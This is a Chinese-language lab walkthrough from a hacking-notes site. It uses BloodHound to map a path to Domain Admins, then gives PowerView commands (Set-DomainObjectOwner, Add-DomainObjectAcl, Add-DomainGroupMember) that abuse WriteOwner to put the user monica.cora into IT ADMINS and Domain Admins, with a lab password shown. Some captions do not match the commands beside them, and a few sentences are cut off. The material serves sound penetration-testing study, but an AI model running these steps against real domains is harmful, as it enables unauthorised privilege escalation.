> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md).

# 使用 BloodHound 分析

生成易受攻击的对象后，你可以重新启动一次 SharpHound 采集：

{% code overflow="wrap" %}

```powershell
 . ./SharpHound.exe
```

{% endcode %}

<figure><img src="/files/27369689217e0b0b269fb2389520dd0fa2b90050" alt=""><figcaption></figcaption></figure>

SharpHound 会生成一个 `.zip` 文件中的用户进行测试。

然后启动 BloodHound：

{% code overflow="wrap" %}

```powershell
bloodhound --no-sandbox &
```

{% endcode %}

然后我们导入 `.zip` 文件到 BloodHound 中。

导入后，我们可以看到：

* 新用户；
* 新组；
* 新的 ACL；
* 权限路径；
* 对象之间的关系。

<figure><img src="/files/ef4a23f677837acc780182d0bc63c66ebd7c031b" alt=""><figcaption></figcaption></figure>

### 查找通往 Domain Admin 的路径

<figure><img src="/files/05e22ef39ade7f80af3f6bc8bcf5d096041e4aea" alt=""><figcaption></figcaption></figure>

在 BloodHound 中，我们使用分析：

{% code overflow="wrap" %}

```bash
查找到 Domain Admins 的最短路径
```

{% endcode %}

<figure><img src="/files/6530f9a8eba2348ac4a433a214079862437fe74c" alt=""><figcaption></figcaption></figure>

此查询会找到通往域管理员组的最短路径。

在实验环境中，BloodHound 例如显示一个组：

```bash
IT ADMINS
```

<figure><img src="/files/ed960944b41863b890860088d7d1b1d5be7a0049" alt=""><figcaption></figcaption></figure>

该组包含多个用户，例如：

```bash
Deidre Corry
Lisette.pru
Gypsy.nelle
```

<figure><img src="/files/badbf1809d0c390b29ff7c404d8370a198d6b491" alt=""><figcaption></figcaption></figure>

然后我们可以分析组之间的关系，例如：

```wasm
Project Management -> IT ADMINS -> Domain Admins
```

目标是理解权限配置错误如何导致进入一个特权组。

<figure><img src="/files/f62d6cfb1346e7f96a7ae3366e703ff3a4125c8e" alt=""><figcaption></figcaption></figure>

### 利用不当的 ACL 配置

> 此步骤仅在授权的实验环境中进行。

在此场景中，用户 `monica.cora` 有一条可用的路径到该组：

```
IT ADMINS
```

我们将利用我们的权限接管该组，然后进一步提升到更高权限的组。

<figure><img src="/files/f0f4f23dee309df9f281b39d06433f4c155d53b3" alt=""><figcaption></figcaption></figure>

### 使用用户 monica.cora 进行连接

<figure><img src="/files/98fa25e0905f0bcbc33db8b1dab77cc6ee6318c6" alt=""><figcaption></figcaption></figure>

我们使用该用户连接：

{% code overflow="wrap" %}

```
monica.cora
```

{% endcode %}

实验中使用的密码：

```
Password123$
```

我们用该用户打开一个 PowerShell 会话：

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">runas /user:whoami/monica.cora /netonly powershell

<strong>. C:/Users/user1/Desktop/PowerView.ps1
</strong></code></pre>

说明：

* `runas` 以另一个用户身份启动程序；
* `/netonly` 仅将这些凭据用于网络访问；
* `powershell` 打开一个新的 PowerShell 会话。

### 加载 PowerView

在新的 PowerShell 会话中：

{% code overflow="wrap" %}

```bash
Set-DomainObjectOwner -Identity "IT ADMINS" -OwnerIdentity monica.cora
```

{% endcode %}

这会在 `monica.cora`的会话中加载 PowerView。

<figure><img src="/files/758d696618d6724f048f3228a5518b69c148fcdf" alt=""><figcaption></figcaption></figure>

### 利用 WriteOwner 权限

该 **WriteOwner** 权限允许你更改 Active Directory 对象的所有者。

在此场景中， `monica.cora` 成为该组的所有者：

```
IT ADMINS
```

<figure><img src="/files/2e2b69ca0ccfdc3b958942af5852a2165d2efab8" alt=""><figcaption></figcaption></figure>

顺序：

{% code overflow="wrap" %}

```powershell
Add-DomainObjectAcl -TargetIdentity "IT ADMINS" -Rights WriteMembers -PrincipalIdentity monica.cora
```

{% endcode %}

执行此步骤后，对象的所有者变为：

```
WHOAMI/monica.cora
```

<figure><img src="/files/d92823ee7c48ba95d946ac750278e410ede6aa02" alt=""><figcaption></figcaption></figure>

### 已添加 WriteMembers 权限

作为对象所有者，通常可以修改其 DACL。

因此，我们为 `monica.cora` 添加修改成员的权限，针对 `IT ADMINS` 组。

{% code overflow="wrap" %}

```powershell
Add-DomainGroupMember -Identity 'IT ADMINS' -Members 'monica.cora'
```

{% endcode %}

此权限允许 `monica.cora` 向 `IT ADMINS` 组。

<figure><img src="/files/e4b47c1c85595122e389c89bd834e970f1a09d30" alt=""><figcaption></figcaption></figure>

### 已将 monica.cora 添加到 IT ADMINS 组

现在我们将 `monica.cora` 添加到该组：

{% code overflow="wrap" %}

```powershell
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'monica.cora'
```

{% endcode %}

验证：

```wasm
Get-DomainGroupMember -Identity "IT ADMINS" | select MemberName
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
